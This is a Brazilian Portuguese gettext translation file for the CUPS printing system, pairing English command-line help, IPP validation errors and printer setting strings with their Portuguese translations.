msgid "  --txt-* regex           Match TXT record key to regular expression."
msgstr ""
"  --txt-* regex           Corresponde a chave de registro TXT à expressão "
"regular."

msgid "  --uri regex             Match URI to regular expression."
msgstr "  --uri regex             Corresponde a URI à expressão regular."

msgid "  --version               Show program version."
msgstr "  --version               Mostra a versão do programa."

msgid "  -4                      Connect using IPv4."
msgstr "  -4                      Conecta usando IPv4."

msgid "  -6                      Connect using IPv6."
msgstr "  -6                      Conecta usando IPv6."

msgid "  -C                      Send requests using chunking (default)."
msgstr "  -C                      Envia requisições usando chunking (padrão)."

msgid "  -D                      Remove the input file when finished."
msgstr "  -D                      Remove o arquivo de entrada ao finalizar."

msgid "  -D name=value           Set named variable to value."
msgstr "  -D nome=valor           Define a variável \"nome\" com \"valor\"."

msgid "  -E                      Encrypt the connection."
msgstr "  -E                      Criptografa a conexão."

msgid "  -E                      Test with HTTP Upgrade to TLS."
msgstr "  -E                      Testa com HTTP Upgrade para TLS."

msgid ""
"  -F                      Run in the foreground but detach from console."
msgstr ""
"  -F                      Executa em primeiro plano, mas desanexa do console."

msgid "  -H samba-server         Use the named SAMBA server."
msgstr ""
"  -H servidor-samba       Usa o servidor SAMBA chamado  \"servidor-samba\"."

msgid "  -I                      Ignore errors."
msgstr "  -I                      Ignora erros."

msgid "  -I include-dir          Add include directory to search path."
msgstr ""
"  -I dir-include          Adiciona diretório de include ao caminho de "
"pesquisa."

msgid "  -I {filename,filters,none,profiles}"
msgstr "  -I {filename,filters,none,profiles}"

msgid "  -L                      Send requests using content-length."
msgstr "  -L                      Envia requisições usando limite de conteúdo."

msgid "  -P filename.ppd         Set PPD file."
msgstr "  -P arquivo.ppd          Define arquivo PPD."

msgid "  -P number[-number]      Match port to number or range."
msgstr "  -P número[-número]      Corresponde a porta ao número ou faixa."

msgid "  -R root-directory       Set alternate root."
msgstr "  -R diretório-raiz       Define diretório-raiz alternativo."

msgid "  -S                      Test with SSL encryption."
msgstr "  -S                      Testa com criptografia SSL."

msgid "  -T seconds              Set the browse timeout in seconds."
msgstr ""
"  -T segundos             Define o tempo limite de navegação em segundos."

msgid "  -T seconds              Set the receive/send timeout in seconds."
msgstr ""
"  -T segundos             Define o limite de tempo de recebimento/envio "
"em                                segundos."

msgid "  -U username             Specify username."
msgstr "  -U usuário              Especifica nome do usuário."

msgid "  -V version              Set default IPP version."
msgstr "  -V versão               Define versão padrão de IPP."

msgid ""
"  -W {all,none,constraints,defaults,duplex,filters,profiles,sizes,"
"translations}"
msgstr ""
"  -W {all,none,constraints,defaults,duplex,filters,profiles,sizes,"
"translations}"

msgid "  -X                      Produce XML plist instead of plain text."
msgstr "  -X                      Produz plist XML ao invés de texto normal."

msgid "  -a                      Browse for all services."
msgstr "  -a                      Navega por todos os serviços."

msgid "  -a                      Export all printers."
msgstr "  -a                      Exporta todas as impressoras."

msgid "  -c catalog.po           Load the specified message catalog."
msgstr ""
"  -c catálogo.po          Carrega o catálogo de mensagens especificado."

msgid "  -c cups-files.conf      Set cups-files.conf file to use."
msgstr ""
"  -c cups-files.conf      Define o arquivo cups-files.conf para ser usado."

msgid "  -c cupsd.conf           Set cupsd.conf file to use."
msgstr "  -c cupsd.conf           Define o arquivo cupsd.conf a ser usado."

msgid "  -d domain               Browse/resolve in specified domain."
msgstr "  -d domínio              Navega/resolve no domínio especificado."

msgid "  -d name=value           Set named variable to value."
msgstr "  -d nome=valor           Define a variável \"nome\" com \"valor\"."

msgid "  -d output-dir           Specify the output directory."
msgstr "  -d dir-saída            Especifica o diretório de saída."

msgid "  -d printer              Use the named printer."
msgstr "  -d impressora           Usa a impressora informada."

msgid "  -d regex                Match domain to regular expression."
msgstr "  -d regex                Corresponde o domínio à expressão regular."

msgid "  -e                      Use every filter from the PPD file."
msgstr "  -e                      Usa todos os filtros do arquivo PPD."

msgid "  -f                      Run in the foreground."
msgstr "  -f                      Executa em primeiro plano."

msgid "  -f filename             Set default request filename."
msgstr ""
"  -f arquivo              Define o nome de arquivo de requisição padrão."

msgid "  -h                      Show this usage message."
msgstr "  -h                      Exibe esta mensagem de uso."

msgid "  -h regex                Match hostname to regular expression."
msgstr ""
"  -h regex                Corresponde o nome da máquina à expressão regular."

msgid "  -h server[:port]        Specify server address."
msgstr "  -h servidor[:porta]     Especifica o endereço do servidor."

msgid "  -i mime/type            Set input MIME type (otherwise auto-typed)."
msgstr ""
"  -i tipo-mime            Define o tipo MIME de entrada (caso "
"contrário,                                  tipo automático)."

msgid ""
"  -i seconds              Repeat the last file with the given time interval."
msgstr ""
"  -i segundos             Repete o último arquivo com o tempo de intervalo "
"dado."

msgid ""
"  -j job-id[,N]           Filter file N from the specified job (default is "
"file 1)."
msgstr ""
"  -j job-id[,N]           Filtra o arquivo N do trabalho especificado "
"(o                                  padrão é o arquivo 1)."

msgid "  -l                      List attributes."
msgstr "  -l                      Lista os atributos."

msgid "  -l                      Run cupsd from launchd(8)."
msgstr "  -l                      Executa cupsd a partir do launchd(8)."

msgid "  -l lang[,lang,...]      Specify the output language(s) (locale)."
msgstr "  -l idioma[,idioma,...]  Especifica o(s) idioma(s) de saída (locale)."

msgid "  -m                      Use the ModelName value as the filename."
msgstr ""
"  -m                      Usa o valor de ModelName como o nome de arquivo."

msgid ""
"  -m mime/type            Set output MIME type (otherwise application/pdf)."
msgstr ""
"  -m tipo-mime            Define o tipo MIME de saída (caso "
"contrário,                                    aplicação/pdf)."

msgid "  -n copies               Set number of copies."
msgstr "  -n cópias               Define número de cópias."

msgid ""
"  -n count                Repeat the last file the given number of times."
msgstr ""
"  -n contagem             Repete o último arquivo o número de vezes dado."

msgid "  -n regex                Match service name to regular expression."
msgstr ""
"  -n regex                Corresponde o nome do serviço à expressão regular."

msgid ""
"  -o filename.drv         Set driver information file (otherwise ppdi.drv)."
msgstr ""
"  -o arquivo.drv          Define o arquivo de informações do "
"driver                          (caso contrário, ppdi.drv)."

msgid "  -o filename.ppd[.gz]    Set output file (otherwise stdout)."
msgstr ""
"  -o arquivo.ppd[.gz]     Define arquivo de saída (caso contrário, stdout)."

msgid "  -o name=value           Set option(s)."
msgstr "  -o nome=valor           Define opção/opções."

msgid "  -p                      Print URI if true."
msgstr "  -p                      Exibe a URI se verdadeiro."

msgid "  -p filename.ppd         Set PPD file."
msgstr "  -p arquivo.ppd          Define arquivo PPD."

msgid "  -p program              Run specified program for each service."
msgstr ""
"  -p programa             Executa o programa especificado para cada serviço."

msgid "  -q                      Quietly report match via exit code."
msgstr ""
"  -q                      Relata silenciosamente correspondências via "
"código                              de saída."

msgid "  -q                      Run silently."
msgstr "  -q                      Executa silenciosamente."

msgid "  -r                      True if service is remote."
msgstr "  -r                      Verdadeiro se o serviço for remoto."

msgid "  -r                      Use 'relaxed' open mode."
msgstr "  -r                      Usa modo aberto \"relaxado\"."

msgid "  -s                      Print service name if true."
msgstr "  -s                      Exibe o nome do serviço se verdadeiro."

msgid "  -t                      Produce a test report."
msgstr "  -t                      Produz um relatório de teste."

msgid "  -t                      Test PPDs instead of generating them."
msgstr "  -t                      Testa PPDs ao invés de criá-los."

msgid "  -t                      Test the configuration file."
msgstr "  -t                      Testa o arquivo de configuração."

msgid "  -t key                  True if the TXT record contains the key."
msgstr ""
"  -t chave                Verdadeiro se o registro TXT contiver a chave."

msgid "  -t title                Set title."
msgstr "  -t título               Define um título."

msgid "  -t type                 Browse/resolve with specified type."
msgstr "  -t tipo                 Navega/resolve com o tipo especificado."

msgid "  -u                      Remove the PPD file when finished."
msgstr "  -u                      Remove o arquivo PPD ao final."

msgid "  -u regex                Match URI to regular expression."
msgstr "  -u regex                Corresponde a URI à expressão regular."

msgid "  -v                      Be verbose."
msgstr "  -v                      Modo detalhado."

msgid "  -vv                     Be very verbose."
msgstr "  -vv                     Modo muito detalhado."

msgid ""
"  -x utility [argument ...] ;\n"
"                          Execute program if true."
msgstr ""
"  -x utilitário [argumento ...] ;\n"
"                          Executa o programa se verdadeiro."

msgid "  -z                      Compress PPD files using GNU zip."
msgstr "  -z                      Compacta arquivos PPD usando GNU zip."

msgid "  IPPFIND_SERVICE_DOMAIN  Domain name"
msgstr "  IPPFIND_SERVICE_DOMAIN  Nome do domínio"

msgid ""
"  IPPFIND_SERVICE_HOSTNAME\n"
"                          Fully-qualified domain name"
msgstr ""
"  IPPFIND_SERVICE_HOSTNAME\n"
"                          Nome completo do domínio (FQDN)"

msgid "  IPPFIND_SERVICE_NAME    Service instance name"
msgstr "  IPPFIND_SERVICE_NAME    Nome da instância do serviço"

msgid "  IPPFIND_SERVICE_PORT    Port number"
msgstr "  IPPFIND_SERVICE_PORT    Número da porta"

msgid "  IPPFIND_SERVICE_REGTYPE DNS-SD registration type"
msgstr "  IPPFIND_SERVICE_REGTYPE Tipo de registro DNS-SD"

msgid "  IPPFIND_SERVICE_SCHEME  URI scheme"
msgstr "  IPPFIND_SERVICE_SCHEME  Esquema URI"

msgid "  IPPFIND_SERVICE_URI     URI"
msgstr "  IPPFIND_SERVICE_URI     URI"

msgid "  IPPFIND_TXT_*           Value of TXT record key"
msgstr "  IPPFIND_TXT_*           Valor da chave de registro TXT"

msgid ""
"  expression --and expression\n"
"                          Logical AND."
msgstr ""
"  expressão --and expressão\n"
"                          AND lógico."

msgid ""
"  expression --or expression\n"
"                          Logical OR."
msgstr ""
"  expressão --or expressão\n"
"                          OR lógico."

msgid "  expression expression   Logical AND."
msgstr "  expressão expressão     AND lógico."

msgid "  {service_domain}        Domain name"
msgstr "  {service_domain}        Nome do domínio"

msgid "  {service_hostname}      Fully-qualified domain name"
msgstr "  {service_hostname}      Nome completo do domínio (FQDN)"

msgid "  {service_name}          Service instance name"
msgstr "  {service_name}          Nome da instância do serviço"

msgid "  {service_port}          Port number"
msgstr "  {service_port}          Número da porta"

msgid "  {service_regtype}       DNS-SD registration type"
msgstr "  {service_regtype}       Tipo de registro DNS-SD"

msgid "  {service_scheme}        URI scheme"
msgstr "  {service_scheme}        Esquema URI"

msgid "  {service_uri}           URI"
msgstr "  {service_uri}           URI"

msgid "  {txt_*}                 Value of TXT record key"
msgstr "  {txt_*}                 Valor da chave de registro TXT"

msgid "  {}                      URI"
msgstr "  {}                      URI"

msgid " FAIL"
msgstr " FALHA"

msgid " PASS"
msgstr " PASSOU"

#, c-format
msgid "\"%s\": Bad URI value \"%s\" - %s (RFC 2911 section 4.1.5)."
msgstr "\"%s\": Valor inválido de URI \"%s\" - %s (RFC 2911 seção 4.1.5)."

#, c-format
msgid "\"%s\": Bad URI value \"%s\" - bad length %d (RFC 2911 section 4.1.5)."
msgstr ""
"\"%s\": Valor inválido de URI \"%s\" - comprimento inválido %d (RFC 2911 "
"seção 4.1.5)."

#, c-format
msgid "\"%s\": Bad attribute name - bad length %d (RFC 2911 section 4.1.3)."
msgstr ""
"\"%s\": Nome de atributo inválido - comprimento inválido %d (RFC 2911 seção "
"4.1.3)."

#, c-format
msgid ""
"\"%s\": Bad attribute name - invalid character (RFC 2911 section 4.1.3)."
msgstr ""
"\"%s\": Nome de atributo inválido - caractere inválido (RFC 2911 seção "
"4.1.3)."

#, c-format
msgid "\"%s\": Bad boolen value %d (RFC 2911 section 4.1.11)."
msgstr "\"%s\": Valor booleano inválido %d (RFC 2911 seção 4.1.11)."

#, c-format
msgid ""
"\"%s\": Bad charset value \"%s\" - bad characters (RFC 2911 section 4.1.7)."
msgstr ""
"\"%s\": Valor de conjunto de caracteres inválido \"%s\" - caracteres "
"inválido (RFC 2911 seção 4.1.7)."

#, c-format
msgid ""
"\"%s\": Bad charset value \"%s\" - bad length %d (RFC 2911 section 4.1.7)."
msgstr ""
"\"%s\": Valor de conjunto de caracteres inválido \"%s\" - comprimento "
"inválido %d (RFC 2911 seção 4.1.7)."

#, c-format
msgid "\"%s\": Bad dateTime UTC hours %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Horas de UTC dateTime inválidas %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime UTC minutes %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Minutos de UTC dateTime inválidos %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime UTC sign '%c' (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Sinal de UTC dateTime inválido \"%c\" (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime day %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Dia de dateTime inválido %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime deciseconds %u (RFC 2911 section 4.1.14)."
msgstr ""
"\"%s\": Décimos de segundos de dateTime inválidos %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime hours %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Horas de dateTime inválidas %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime minutes %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Minutos de dateTime inválidos %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime month %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Mês de dateTime inválido %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad dateTime seconds %u (RFC 2911 section 4.1.14)."
msgstr "\"%s\": Segundos de dateTime inválidos %u (RFC 2911 seção 4.1.14)."

#, c-format
msgid "\"%s\": Bad enum value %d - out of range (RFC 2911 section 4.1.4)."
msgstr ""
"\"%s\": Valor de enum inválido %d - fora da faixa (RFC 2911 seção 4.1.4)."

#, c-format
msgid ""
"\"%s\": Bad keyword value \"%s\" - bad length %d (RFC 2911 section 4.1.3)."
msgstr ""
"\"%s\": Valor de keyword inválido \"%s\" - comprimento inválido %d (RFC 2911 "
"seção 4.1.3)."

#, c-format
msgid ""
"\"%s\": Bad keyword value \"%s\" - invalid character (RFC 2911 section "
"4.1.3)."
msgstr ""
"\"%s\": Valor de keyword inválido \"%s\" - caractere inválido (RFC 2911 "
"seção 4.1.3)."

#, c-format
msgid ""
"\"%s\": Bad mimeMediaType value \"%s\" - bad characters (RFC 2911 section "
"4.1.9)."
msgstr ""
"\"%s\": Valor de mimeMediaType inválido \"%s\" - caracteres inválidos (RFC "
"2911 seção 4.1.9)."

#, c-format
msgid ""
"\"%s\": Bad mimeMediaType value \"%s\" - bad length %d (RFC 2911 section "
"4.1.9)."
msgstr ""
"\"%s\": Valor de mimeMediaType inválido \"%s\" - comprimento inválido %d "
"(RFC 2911 seção 4.1.9)."

#, c-format
msgid ""
"\"%s\": Bad name value \"%s\" - bad UTF-8 sequence (RFC 2911 section 4.1.2)."
msgstr ""
"\"%s\": Valor de name inválido \"%s\" - sequência UTF-8 inválida (RFC 2911 "
"seção 4.1.2)."

#, c-format
msgid "\"%s\": Bad name value \"%s\" - bad length %d (RFC 2911 section 4.1.2)."
msgstr ""
"\"%s\": Valor de name inválido \"%s\" - comprimento inválido %d (RFC 2911 "
"seção 4.1.2)."

#, c-format
msgid ""
"\"%s\": Bad naturalLanguage value \"%s\" - bad characters (RFC 2911 section "
"4.1.8)."
msgstr ""
"\"%s\": Valor de naturalLanguage inválido \"%s\" - caracteres inválidos (RFC "
"2911 seção 4.1.8)."

#, c-format
msgid ""
"\"%s\": Bad naturalLanguage value \"%s\" - bad length %d (RFC 2911 section "
"4.1.8)."
msgstr ""
"\"%s\": Valor de naturalLanguage inválido \"%s\" - comprimento inválido %d "
"(RFC 2911 seção 4.1.8)."

#, c-format
msgid ""
"\"%s\": Bad octetString value - bad length %d (RFC 2911 section 4.1.10)."
msgstr ""
"\"%s\": Valor de octetString inválido - comprimento inválido %d (RFC 2911 "
"seção 4.1.10)."

#, c-format
msgid ""
"\"%s\": Bad rangeOfInteger value %d-%d - lower greater than upper (RFC 2911 "
"section 4.1.13)."
msgstr ""
"\"%s\": Valor de rangeOfInteger inválido %d-%d - inferior maior do que o "
"superior (RFC 2911 seção 4.1.13)."

#, c-format
msgid ""
"\"%s\": Bad resolution value %dx%d%s - bad units value (RFC 2911 section "
"4.1.15)."
msgstr ""
"\"%s\": Valor de resolução inválido %dx%d%s - valor de unidades inválido "
"(RFC 2911 seção 4.1.15)."

#, c-format
msgid ""
"\"%s\": Bad resolution value %dx%d%s - cross feed resolution must be "
"positive (RFC 2911 section 4.1.15)."
msgstr ""
"\"%s\": Valor de resolução inválido %dx%d%s - resolução de cross-feed deve "
"ser positiva (RFC 2911 seção 4.1.15)."

#, c-format
msgid ""
"\"%s\": Bad resolution value %dx%d%s - feed resolution must be positive (RFC "
"2911 section 4.1.15)."
msgstr ""
"\"%s\": Valor de resolução inválido %dx%d%s - resolução de feed deve ser "
"positiva (RFC 2911 seção 4.1.15)."

#, c-format
msgid ""
"\"%s\": Bad text value \"%s\" - bad UTF-8 sequence (RFC 2911 section 4.1.1)."
msgstr ""
"\"%s\": Valor de texto inválido \"%s\" - sequência UTF-8 inválida (RFC 2911 "
"seção 4.1.1)."

#, c-format
msgid "\"%s\": Bad text value \"%s\" - bad length %d (RFC 2911 section 4.1.1)."
msgstr ""
"\"%s\": Valor de texto inválido \"%s\" - comprimento inválido %d (RFC 2911 "
"seção 4.1.1)."

#, c-format
msgid ""
"\"%s\": Bad uriScheme value \"%s\" - bad characters (RFC 2911 section 4.1.6)."
msgstr ""
"\"%s\": Valor de uriScheme inválido \"%s\" - caracteres inválidos (RFC 2911 "
"seção 4.1.6)."

#, c-format
msgid ""
"\"%s\": Bad uriScheme value \"%s\" - bad length %d (RFC 2911 section 4.1.6)."
msgstr ""
"\"%s\": Valor de uriScheme inválido \"%s\" - comprimento inválido %d (RFC "
"2911 seção 4.1.6)."

#, c-format
msgid "%-6s %-10.10s %-4d %-10d %-27.27s %.0f bytes"
msgstr "%-6s %-10.10s %-4d %-10d %-27.27s %.0f bytes"

#, c-format
msgid "%-7s %-7.7s %-7d %-31.31s %.0f bytes"
msgstr "%-7s %-7.7s %-7d %-31.31s %.0f bytes"

#, c-format
msgid "%s accepting requests since %s"
msgstr "%s está aceitando requisições desde %s"

#, c-format
msgid "%s cannot be changed."
msgstr "%s não pode ser alterada."

#, c-format
msgid "%s is not implemented by the CUPS version of lpc."
msgstr "%s não está implementada pela versão CUPS do lpc."

#, c-format
msgid "%s is not ready"
msgstr "%s não está pronta"

#, c-format
msgid "%s is ready"
msgstr "%s está pronta"

#, c-format
msgid "%s is ready and printing"
msgstr "%s está pronta e imprimindo"

#, c-format
msgid "%s job-id user title copies options [file]"
msgstr "%s job-id usuário título cópia opções [arquivo]"

#, c-format
msgid "%s not accepting requests since %s -"
msgstr "%s não está aceitando requisições desde %s -"

#, c-format
msgid "%s not supported."
msgstr "%s não é suportada."

#, c-format
msgid "%s/%s accepting requests since %s"
msgstr "%s/%s está aceitando requisições desde %s"

#, c-format
msgid "%s/%s not accepting requests since %s -"
msgstr "%s/%s não está aceitando requisições desde %s -"

#, c-format
msgid "%s: %-33.33s [job %d localhost]"
msgstr "%s: %-33.33s [trabalho %d localhost]"

#. TRANSLATORS: Message is "subject: error"
#, c-format
msgid "%s: %s"
msgstr "%s: %s"

#, c-format
msgid "%s: %s failed: %s"
msgstr "%s: %s falhou: %s"

#, c-format
msgid "%s: Bad version %s for \"-V\"."
msgstr "%s: Versão inválida %s para \"-V\"."

#, c-format
msgid "%s: Don't know what to do."
msgstr "%s: Não sei o que fazer."

#, c-format
msgid ""
"%s: Error - %s environment variable names non-existent destination \"%s\"."
msgstr ""
"%s: Erro - A variável de ambiente %s contém destino inexistente \"%s\"."

#, c-format
msgid "%s: Error - add '/version=1.1' to server name."
msgstr "%s: Erro - adicione '/version=1.1' ao nome do servidor."

#, c-format
msgid "%s: Error - bad job ID."
msgstr "%s: Erro - ID de trabalho inválido."

#, c-format
msgid "%s: Error - cannot print files and alter jobs simultaneously."
msgstr ""
"%s: Erro - não é possível imprimir arquivos e alterar trabalhos "
"simultaneamente."

#, c-format
msgid "%s: Error - cannot print from stdin if files or a job ID are provided."
msgstr ""
"%s: Erro - não é possível imprimir de stdin se os arquivos ou um ID de "
"trabalho forem fornecidos."

#, c-format
msgid "%s: Error - expected character set after \"-S\" option."
msgstr "%s: Erro - esperava uma codificação de caracteres após a opção \"-S\"."

#, c-format
msgid "%s: Error - expected content type after \"-T\" option."
msgstr "%s: Erro - esperava um tipo de conteúdo após a opção \"-T\"."

#, c-format
msgid "%s: Error - expected copies after \"-#\" option."
msgstr "%s: Erro - esperava cópias após a opção \"-#\"."

#, c-format
msgid "%s: Error - expected copies after \"-n\" option."
msgstr "%s: Erro - esperava cópias após a opção \"-n\"."

#, c-format
msgid "%s: Error - expected destination after \"-P\" option."
msgstr "%s: Erro - esperava um destino após a opção \"-P\"."

#, c-format
msgid "%s: Error - expected destination after \"-d\" option."
msgstr "%s: Erro - esperava um destino após a opção \"-d\"."

#, c-format
msgid "%s: Error - expected form after \"-f\" option."
msgstr "%s: Erro - esperava um formulário após a opção \"-f\"."

#, c-format
msgid "%s: Error - expected hold name after \"-H\" option."
msgstr "%s: Erro - esperava um nome para segurar após a opção \"-H\"."

#, c-format
msgid "%s: Error - expected hostname after \"-H\" option."
msgstr "%s: Erro - esperava o nome da máquina após a opção \"-H\"."

#, c-format
msgid "%s: Error - expected hostname after \"-h\" option."
msgstr "%s: Erro - esperava o nome da máquina após a opção \"-h\"."

#, c-format
msgid "%s: Error - expected mode list after \"-y\" option."
msgstr "%s: Erro - esperava uma lista de modos após a opção \"-y\"."

#, c-format
msgid "%s: Error - expected name after \"-%c\" option."
msgstr "%s: Erro - esperava um nome após a opção \"-%c\"."

#, c-format
msgid "%s: Error - expected option=value after \"-o\" option."
msgstr "%s: Erro - esperava opção=valor após a opção \"-o\"."

#, c-format
msgid "%s: Error - expected page list after \"-P\" option."
msgstr "%s: Erro - esperava uma lista de página após a opção \"-P\"."

#, c-format
msgid "%s: Error - expected priority after \"-%c\" option."
msgstr "%s: Erro - esperava uma prioridade após a opção \"-%c\"."

#, c-format
msgid "%s: Error - expected reason text after \"-r\" option."
msgstr "%s: Erro - esperava um texto com motivo após a opção \"-r\"."

#, c-format
msgid "%s: Error - expected title after \"-t\" option."
msgstr "%s: Erro - esperava um título após a opção \"-t\"."

#, c-format
msgid "%s: Error - expected username after \"-U\" option."
msgstr "%s: Erro - esperava um nome de usuário após a opção \"-U\"."

#, c-format
msgid "%s: Error - expected username after \"-u\" option."
msgstr "%s: Erro - esperava um nome de usuário após a opção \"-u\"."

#, c-format
msgid "%s: Error - expected value after \"-%c\" option."
msgstr "%s: Erro - esperava um valor após a opção \"-%c\"."

#, c-format
msgid ""
"%s: Error - need \"completed\", \"not-completed\", or \"all\" after \"-W\" "
"option."
msgstr ""
"%s: Erro - precisa de \"completed\", \"not-completed\" ou \"all\" após a "
"opção \"-W\"."

#, c-format
msgid "%s: Error - no default destination available."
msgstr "%s: Erro - nenhum destino padrão disponível."

#, c-format
msgid "%s: Error - priority must be between 1 and 100."
msgstr "%s: Erro - prioridade deve estar entre 1 e 100."

#, c-format
msgid "%s: Error - scheduler not responding."
msgstr "%s: Erro - agendador não está respondendo."

#, c-format
msgid "%s: Error - too many files - \"%s\"."
msgstr "%s: Erro - arquivos demais - \"%s\"."

#, c-format
msgid "%s: Error - unable to access \"%s\" - %s"
msgstr "%s: Erro - não foi possível acessar \"%s\" - %s"

#, c-format
msgid "%s: Error - unable to queue from stdin - %s."
msgstr "%s: Erro - não foi possível enfilerar de stdin - %s."

#, c-format
msgid "%s: Error - unknown destination \"%s\"."
msgstr "%s: Erro - destino desconhecido \"%s\"."

#, c-format
msgid "%s: Error - unknown destination \"%s/%s\"."
msgstr "%s: Erro - destino desconhecido \"%s/%s\"."

#, c-format
msgid "%s: Error - unknown option \"%c\"."
msgstr "%s: Erro - opção desconhecida \"%c\"."

#, c-format
msgid "%s: Error - unknown option \"%s\"."
msgstr "%s: Erro - opção desconhecida \"%s\"."

#, c-format
msgid "%s: Expected job ID after \"-i\" option."
msgstr "%s: Esperava ID do trabalho após a \"-i\"."

#, c-format
msgid "%s: Invalid destination name in list \"%s\"."
msgstr "%s: Nome de destino inválido na lista \"%s\"."

#, c-format
msgid "%s: Invalid filter string \"%s\"."
msgstr "%s: String de filtro inválida \"%s\"."

#, c-format
msgid "%s: Missing timeout for \"-T\"."
msgstr "%s: Faltando tempo de espera para \"-T\"."

#, c-format
msgid "%s: Missing version for \"-V\"."
msgstr "%s: Faltando versão para \"-V\"."

#, c-format
msgid "%s: Need job ID (\"-i jobid\") before \"-H restart\"."
msgstr "%s: Precisa de ID de trabalho (\"-i jobid\") antes de \"-H restart\"."

#, c-format
msgid "%s: No filter to convert from %s/%s to %s/%s."
msgstr "%s: Nenhum filtro para converter de %s/%s para %s/%s."

#, c-format
msgid "%s: Operation failed: %s"
msgstr "%s: Operação falhou: %s"

#, c-format
msgid "%s: Sorry, no encryption support."
msgstr "%s: Desculpa, não há suporte a criptografia."

#, c-format
msgid "%s: Unable to connect to server."
msgstr "%s: Não foi possível conectar ao servidor."

#, c-format
msgid "%s: Unable to contact server."
msgstr "%s: Não foi possível contactar o servidor."

#, c-format
msgid "%s: Unable to determine MIME type of \"%s\"."
msgstr "%s: Não foi possível determinar o tipo MIME de \"%s\"."

#, c-format
msgid "%s: Unable to open %s: %s"
msgstr "%s: Não foi possível abrir %s: %s"

#, c-format
msgid "%s: Unable to open PPD file: %s on line %d."
msgstr "%s: Não foi possível abrir o arquivo PPD: %s na linha %d."

#, c-format
msgid "%s: Unable to read MIME database from \"%s\" or \"%s\"."
msgstr "%s: Não foi possível ler o banco de dados MIME de \"%s\" ou \"%s\"."

#, c-format
msgid "%s: Unknown destination \"%s\"."
msgstr "%s: Destino desconhecido \"%s\"."

#, c-format
msgid "%s: Unknown destination MIME type %s/%s."
msgstr "%s: Tipo de MIME de destino desconhecido %s/%s."

#, c-format
msgid "%s: Unknown option \"%c\"."
msgstr "%s: Opção desconhecida \"%c\"."

#, c-format
msgid "%s: Unknown option \"%s\"."
msgstr "%s: Opção desconhecida \"%s\"."

#, c-format
msgid "%s: Unknown option \"-%c\"."
msgstr "%s: Opção desconhecida \"-%c\"."

#, c-format
msgid "%s: Unknown source MIME type %s/%s."
msgstr "%s: Tipo MIME de origem desconhecida %s/%s."

#, c-format
msgid ""
"%s: Warning - \"%c\" format modifier not supported - output may not be "
"correct."
msgstr ""
"%s: Aviso - modificador de formato \"%c\" não é suportado - a saída pode não "
"ficar correta."

#, c-format
msgid "%s: Warning - character set option ignored."
msgstr "%s: Aviso - opção de conjunto de caracteres ignorada."

#, c-format
msgid "%s: Warning - content type option ignored."
msgstr "%s: Aviso - opção de tipo de conteúdo ignorada."

#, c-format
msgid "%s: Warning - form option ignored."
msgstr "%s: Aviso - opção de formulário ignorada."

#, c-format
msgid "%s: Warning - mode option ignored."
msgstr "%s: Aviso - opção modo ignorada."

msgid "-1"
msgstr "-1"

msgid "-10"
msgstr "-10"

msgid "-100"
msgstr "-100"

msgid "-105"
msgstr "-105"

msgid "-11"
msgstr "-11"

msgid "-110"
msgstr "-110"

msgid "-115"
msgstr "-115"

msgid "-12"
msgstr "-12"

msgid "-120"
msgstr "-120"

msgid "-13"
msgstr "-13"

msgid "-14"
msgstr "-14"

msgid "-15"
msgstr "-15"

msgid "-2"
msgstr "-2"

msgid "-20"
msgstr "-20"

msgid "-25"
msgstr "-25"

msgid "-3"
msgstr "-3"

msgid "-30"
msgstr "-30"

msgid "-35"
msgstr "-35"

msgid "-4"
msgstr "-4"

msgid "-40"
msgstr "-40"

msgid "-45"
msgstr "-45"

msgid "-5"
msgstr "-5"

msgid "-50"
msgstr "-50"

msgid "-55"
msgstr "-55"

msgid "-6"
msgstr "-6"

msgid "-60"
msgstr "-60"

msgid "-65"
msgstr "-65"

msgid "-7"
msgstr "-7"

msgid "-70"
msgstr "-70"

msgid "-75"
msgstr "-75"

msgid "-8"
msgstr "-8"

msgid "-80"
msgstr "-80"

msgid "-85"
msgstr "-85"

msgid "-9"
msgstr "-9"

msgid "-90"
msgstr "-90"

msgid "-95"
msgstr "-95"

msgid "0"
msgstr "0"

msgid "1"
msgstr "1"

msgid "1 inch/sec."
msgstr "1 pol/seg."

msgid "1.25x0.25\""
msgstr "1.25x0.25\""

msgid "1.25x2.25\""
msgstr "1.25x2.25\""

msgid "1.5 inch/sec."
msgstr "1.5 pol/seg."

msgid "1.50x0.25\""
msgstr "1.50x0.25\""

msgid "1.50x0.50\""
msgstr "1.50x0.50\""

msgid "1.50x1.00\""
msgstr "1.50x1.00\""

msgid "1.50x2.00\""
msgstr "1.50x2.00\""

msgid "10"
msgstr "10"

msgid "10 inches/sec."
msgstr "10 pol/seg."

msgid "10 x 11"
msgstr "10 x 11"

msgid "10 x 13"
msgstr "10 x 13"

msgid "10 x 14"
msgstr "10 x 14"

msgid "100"
msgstr "100"

msgid "100 mm/sec."
msgstr "100 mm/s"

msgid "105"
msgstr "105"

msgid "11"
msgstr "11"

msgid "11 inches/sec."
msgstr "11 pol/s"

msgid "110"
msgstr "110"

msgid "115"
msgstr "115"

msgid "12"
msgstr "12"

msgid "12 inches/sec."
msgstr "12 pol/s"

msgid "12 x 11"
msgstr "12 x 11"

msgid "120"
msgstr "120"

msgid "120 mm/sec."
msgstr "120 mm/s"

msgid "120x60dpi"
msgstr "120x60dpi"

msgid "120x72dpi"
msgstr "120x72dpi"

msgid "13"
msgstr "13"

msgid "136dpi"
msgstr "136dpi"

msgid "14"
msgstr "14"

msgid "15"
msgstr "15"

msgid "15 mm/sec."
msgstr "15 mm/s"

msgid "15 x 11"
msgstr "15 x 11"

msgid "150 mm/sec."
msgstr "150 mm/s"

msgid "150dpi"
msgstr "150dpi"

